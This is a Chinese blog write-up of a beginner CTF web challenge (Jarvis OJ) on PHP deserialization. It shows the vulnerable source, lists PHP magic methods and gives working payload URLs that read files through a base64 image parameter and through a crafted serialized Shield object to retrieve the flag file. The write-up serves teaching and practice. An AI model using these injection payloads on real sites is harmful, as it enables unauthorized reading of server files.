PHP代码审计分段讲解(10)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | <!-- 题目:http: //web.jarvisoj.com:32768 --> <!-- index.php --> <?php require_once ( 'shield.php' ); $x = new Shield(); isset( $_GET [ 'class' ]) && $g = $_GET [ 'class' ]; if (! empty ( $g )) { $x = unserialize( $g ); } echo $x ->readfile(); ?> <img src= "showimg.php?img=c2hpZWxkLmpwZw==" width= "100%" /> <!-- shield.php --> <?php //flag is in pctf.php class Shield { public $file ; function __construct( $filename = '' ) { $this -> file = $filename ; } function readfile() { if (! empty ( $this ->file) && stripos ( $this ->file, '..' )===FALSE && stripos ( $this ->file, '/' )===FALSE && stripos ( $this ->file, '\\' )==FALSE) { return @ file_get_contents ( $this ->file); } } } ?> <!-- showimg.php --> <?php $f = $_GET [ 'img' ]; if (! empty ( $f )) { $f = base64_decode ( $f ); if ( stripos ( $f , '..' )===FALSE && stripos ( $f , '/' )===FALSE && stripos ( $f , '\\' )===FALSE //stripos — 查找字符串首次出现的位置(不区分大小写) && stripos ( $f , 'pctf' )===FALSE) { readfile( $f ); } else { echo "File not found!" ; } } ?> |
这道题目是PHP反序列的题目,比较基础。
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
列举常见方法
1 2 3 4 5 6 7 8 9 | __construct() //创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发 |
这道题目只用到了__construct()方法,该方法是在创建对象时触发
简单了解了基础知识之后我们来看题目,代码中给出的环境还能够访问:http://web.jarvisoj.com:32768,我们也可以通过代码推断出原来的环境。
查看网页源代码:
1 | <img src= "showimg.php?img=c2hpZWxkLmpwZw==" width= "100%" /> |
猜测是base64编码,解码得到:
获取index.php的源代码,payload为:
1 | http: //web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw |
查看源代码
1 2 3 4 5 6 7 8 9 10 | <?php require_once ( 'shield.php' ); $x = new Shield(); isset( $_GET [ 'class' ]) && $g = $_GET [ 'class' ]; if (! empty ( $g )) { $x = unserialize( $g ); } echo $x ->readfile(); ?> <img src= "showimg.php?img=c2hpZWxkLmpwZw==" width= "100%" /> |
可以看到包含了shield.php,继续查看shield.php的源代码 payload为:
1 | http: //web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA== |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?php //flag is in pctf.php class Shield { public $file ; function __construct( $filename = '' ) { $this -> file = $filename ; } function readfile() { if (! empty ( $this ->file) && stripos ( $this ->file, '..' )===FALSE && stripos ( $this ->file, '/' )===FALSE && stripos ( $this ->file, '\\' )==FALSE) { return @ file_get_contents ( $this ->file); } } } ?> |
再包含一下showimg.php :
1 | http: //web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA= |
可以看到,showimg.php可以直接包含base64解密后的文件,同时虽然shield.php在里面说明了 flag is in pctf.php,但是showimg.php里面表示了,是无法直接包含pctf文件的,以及进行了目录穿越的禁止。
回到index.php
里面关键点在于:
1 2 3 | $x = unserialize( $g ); } echo $x ->readfile(); |
在这里对$g进行了反序列化,然后输出了对象$x的readfile()方法的结果
而$g是在这里进行赋值:
1 | isset( $_GET [ 'class' ]) && $g = $_GET [ 'class' ]; |
是我们可以控制的。
再继续看shield.php中的Shield类,也就是我们序列化和反序列化的对象
1 2 3 4 5 6 7 8 9 10 11 12 13 | class Shield { public $file ; function __construct( $filename = '' ) { $this -> file = $filename ; } function readfile() { if (! empty ( $this ->file) && stripos ( $this ->file, '..' )===FALSE && stripos ( $this ->file, '/' )===FALSE && stripos ( $this ->file, '\\' )==FALSE) { return @ file_get_contents ( $this ->file); } } } |
根据类进行PHP在线环境进行反向构造即可
即反序列化后直接使用readfile()方法读取任意文件,这里我们读取pctf.php
payload为:
1 | http: //web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;} |
查看源代码为:
获得flag,是一道很基础的PHP反序列化题目
__EOF__

本文作者:春告鳥
本文链接:https://www.cnblogs.com/Cl0ud/p/13304156.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
本文链接:https://www.cnblogs.com/Cl0ud/p/13304156.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!